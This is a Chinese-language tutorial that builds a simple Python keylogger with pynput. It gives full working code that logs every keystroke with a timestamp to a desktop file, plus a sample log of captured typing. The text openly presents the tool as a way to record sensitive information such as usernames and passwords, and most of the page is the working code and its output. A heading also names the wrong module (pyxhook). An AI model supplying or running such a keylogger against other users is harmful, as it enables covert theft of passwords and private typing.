使用 Python 设计键盘记录器
在这里,我们将使用 Python 开发一个键盘记录器。但在那之前,什么是键盘记录器?键盘记录器是一个可以监控按键的程序。这些按键将存储在一个日志文件中。我们可以使用此按键记录敏感信息,例如用户名和密码。
要创建键盘记录器,我们将使用 pynput 模块。由于它不是 Python 的标准库,因此我们可能需要安装它。
安装 pyxhook 模块 -
我将使用 pip 来安装 pynput -
pip install pynput Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4) Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)
要检查我们的安装是否成功,请尝试在 Python shell 中导入该模块。
>>> import pynput >>>
开始构建键盘记录器
安装所需的库后,导入所需的包和方法。为了监控键盘,我们将使用 pynput.keyboard 模块的 key 和 listener 方法。我们还将使用 logging 模块将我们的按键记录到文件中。
from pynput.keyboard import Key, Listener import logging
接下来,我们将设置存储日志文件的路径、日志存储模式和格式。
log_dir = r"C:/users/username/desktop/" logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
然后我们调用了 on_press() 函数,它为按键创建了一个定义,并以 key 作为参数。
def on_press(key): logging.info(str(key))
我们要做的最后一件事是设置 Listener 的实例,并在其中定义 on_press 方法,然后将该实例加入到主线程。
with Listener(on_press=on_press) as listener: listener.join()
结合上述步骤,我们就可以创建最终程序了 -
from pynput.keyboard import Key, Listener import logging log_dir = r"C:/users/rajesh/desktop/" logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') def on_press(key): logging.info(str(key)) with Listener(on_press=on_press) as listener: listener.join()
在我的脚本运行期间,我尝试打开浏览器并输入“hello world, Wikipedia”。让我们看看我们的日志文件发生了什么 -
我可以看到,在我的电脑桌面上创建了一个“keyLog.txt”文件,如果我尝试查看其内容,我将得到 -
2019-01-18 17:06:21,854: Key.cmd 2019-01-18 17:06:22,022: 'd' 2019-01-18 17:06:39,304: 'h' 2019-01-18 17:06:39,435: 'e' 2019-01-18 17:06:39,564: 'l' 2019-01-18 17:06:39,754: 'l' 2019-01-18 17:06:39,943: 'o' 2019-01-18 17:06:40,245: Key.space 2019-01-18 17:06:40,450: 'w' 2019-01-18 17:06:40,536: 'o' 2019-01-18 17:06:40,694: 'r' 2019-01-18 17:06:40,818: 'l' 2019-01-18 17:06:40,943: 'd' 2019-01-18 17:06:43,527: ',' 2019-01-18 17:06:44,947: Key.space 2019-01-18 17:06:45,091: 'p' 2019-01-18 17:06:45,342: 'y' 2019-01-18 17:06:45,468: 't' 2019-01-18 17:06:45,580: 'h' 2019-01-18 17:06:45,674: 'o' 2019-01-18 17:06:45,808: 'n' 2019-01-18 17:06:45,872: Key.space 2019-01-18 17:06:48,692: Key.backspace 2019-01-18 17:06:48,891: Key.backspace 2019-01-18 17:06:49,079: Key.backspace 2019-01-18 17:06:49,223: Key.backspace 2019-01-18 17:06:49,405: Key.backspace 2019-01-18 17:06:49,584: Key.backspace 2019-01-18 17:06:49,816: Key.backspace 2019-01-18 17:06:50,004: 'w' 2019-01-18 17:06:50,162: 'i' 2019-01-18 17:06:50,392: 'k' 2019-01-18 17:06:50,572: 'i' 2019-01-18 17:06:51,395: 'p' 2019-01-18 17:06:51,525: 'e' 2019-01-18 17:06:51,741: 'd' 2019-01-18 17:06:51,838: 'i' 2019-01-18 17:06:52,104: 'a'
因此我们可以看到,无论我在浏览器中尝试输入什么,每个按键都存储在这个文件中。所以,我们在这里用 Python 创建了一个非常简单的键盘记录器。
广告